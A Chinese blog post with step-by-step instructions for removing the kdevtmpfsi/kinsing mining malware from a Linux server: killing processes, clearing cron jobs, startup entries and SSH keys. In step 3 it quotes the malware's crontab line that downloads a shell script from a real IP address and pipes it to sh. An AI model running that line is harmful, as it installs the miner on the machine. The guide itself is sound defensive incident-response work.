清理 kdevtmpfsi 挖矿进程

朴灿烈づ我的快乐病毒、 2021-09-23 16:44 676阅读 0赞

检查服务器发现资源被kdevtmpfsi占用，这是挖矿进程，必须清理一下。

**1. 检查资源占用最高的进程**

top -H / top -c

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xpbmdlaW8_size_16_color_FFFFFF_t_70][]

**2. 杀掉进程，删除文件**

kdevtmpfsi 有守护进程 kinsing，单独kill掉 kdevtmpfsi 无用。查看进程号后再kill，并清理掉文件。一般在 /tmp 及 /var/tmp/下。

ps -ef | grep kinsing
    ps -ef | grep kdevtmpfsi

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xpbmdlaW8_size_16_color_FFFFFF_t_70 1][]

**3. 清理定时**

因为挂载Yarn用户下，检查 crontab 下是否有其他定时，清除掉。

crontab -e -u yarn
    
    # 清除
    # * * * * * curl http://195.3.146.118/h2.sh | sh > /dev/null 2>&1

**4. 清理启动项**

检查是否有可疑启动项，清除。

cd /etc/rc.d/
    # 及目录下 /etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/
    
    cat /etc/rc.local
    cat /etc/inittab

**5. 清理公钥**

检查是否有可疑公钥。

cat ~/.ssh/authorized_keys

**6. 修复**

根据实际情况，修复被利用的漏洞，或设置定向访问，或配置权限，或修复防火墙等等。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xpbmdlaW8_size_16_color_FFFFFF_t_70]: /images/20210923/043ae9f5618249069fd20083628d8ff5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xpbmdlaW8_size_16_color_FFFFFF_t_70 1]: /images/20210923/e335bc160e0f4c8e8a2dd575a0d17ad9.png

发表评论取消回复

表情：

评论列表（有 0 条评论，676人围观）

还没有评论，来说两句吧...

相关阅读

相关【安全】挖矿木马自助清理手册

挖矿木马会占用CPU进行超频运算，从而占用主机大量的CPU资源，严重影响服务器上的其他应用的正常运行。黑客为了得到更多的算力资源，一般都会对全网进行无差别扫描，同时利用S...

Bertha 。/ 2024年04月26日 10:49/ 0 赞/ 75 阅读

相关 Linux被kdevtmpfsi 挖矿病毒入侵

Linux被kdevtmpfsi挖矿病毒入侵一. 错误信息先上阿里云上的报警信息。有个最大的问题是：top命令查看自己服务器CPU运行情况，会发现kdev

你的名字/ 2023年07月21日 08:52/ 0 赞/ 23 阅读

相关 Linux——kdevtmpfsi（挖矿）进程解决方法与解决过程

问题 CPU堵塞（100%）。我这里的主进程是YDService，你的可能和我的不一致。 ![20200323211524511.png][] 原因阿里云公布

男娘i/ 2023年07月18日 02:59/ 0 赞/ 13 阅读

相关处理kdevtmpfsi挖矿病毒

详细的处理过程参考 [https://blog.csdn.net/u014589116/article/details/103705690][https_blog.csdn.

布满荆棘的人生/ 2023年06月25日 10:21/ 0 赞/ 4 阅读

相关 centos清理挖矿病毒[crypto][pnscan]

centos清理挖矿病毒\[crypto\]\[pnscan\] 新买的云服务器cpu占用100%，瞬间想到挖矿木马。排查过程如下： 1、top命令查看进程

￡神魔★判官ぃ/ 2023年01月24日 02:22/ 0 赞/ 18 阅读

相关 Linux 病毒kdevtmpfsi被挖矿的解决办法(一)

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlr

系统管理员/ 2023年01月10日 11:56/ 0 赞/ 262 阅读

相关 kdevtmpfsi挖矿病毒删除

[https://blog.csdn.net/qq\_45186545/article/details/103853601][https_blog.csdn.net_qq_4

喜欢ヅ旅行/ 2022年12月22日 00:52/ 0 赞/ 268 阅读

相关 Linux 病毒kdevtmpfsi被挖矿的解决办法(四) 定时脚本删除挖矿病毒脚本

\!/bin/bash chattr -ia /root/.ssh/authorized\_keys echo "自己定义rsa" > /root/.ssh/author

落日映苍穹つ/ 2022年10月29日 06:29/ 0 赞/ 305 阅读

相关清理 kdevtmpfsi 挖矿进程

检查服务器发现资源被kdevtmpfsi占用，这是挖矿进程，必须清理一下。 1. 检查资源占用最高的进程 top -H / top -c ![waterm

朴灿烈づ我的快乐病毒、/ 2021年09月23日 16:44/ 0 赞/ 677 阅读

相关 Linux 服务器上有挖矿病毒 kdevtmpfsi 如何处理？

本文转载自：[https://my.oschina.net/u/4437985/blog/3168526][https_my.oschina.net_u_4437985_bl

亦凉/ 2021年07月09日 14:46/ 0 赞/ 574 阅读